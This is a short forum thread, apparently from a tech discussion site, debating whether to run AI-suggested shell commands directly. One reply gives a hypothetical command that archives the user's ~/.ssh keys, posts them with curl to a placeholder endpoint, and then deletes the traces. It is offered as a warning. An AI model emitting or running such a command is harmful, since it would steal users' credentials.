6 ms·
Why do you say it's a terrible idea? I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly
by elcomet 2y ago
Why do you say it's a terrible idea?
I'd say it's a pretty common idea today to ask chatGPT for help in complicated commands. Putting it in the shell directly is smart and helpful.
Maybe the implementations has some flaws (it seems quite unsafe), but the idea is rather good in my opinion.
- tirpen 2y agoGetting a suggested command from a chat bot is not a terrible idea. Directly executing commands given by a chat bot on your machine it without inspecting it first is pure madness.
- axegon_ 2y agoHere's a hypothetical but very real scenario: someone discovers a vulnerability in openAI's API (vulnerabilities are everywhere these days), you prompt it to do something for you and it sends the following command: tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED What could possibly go wrong, right?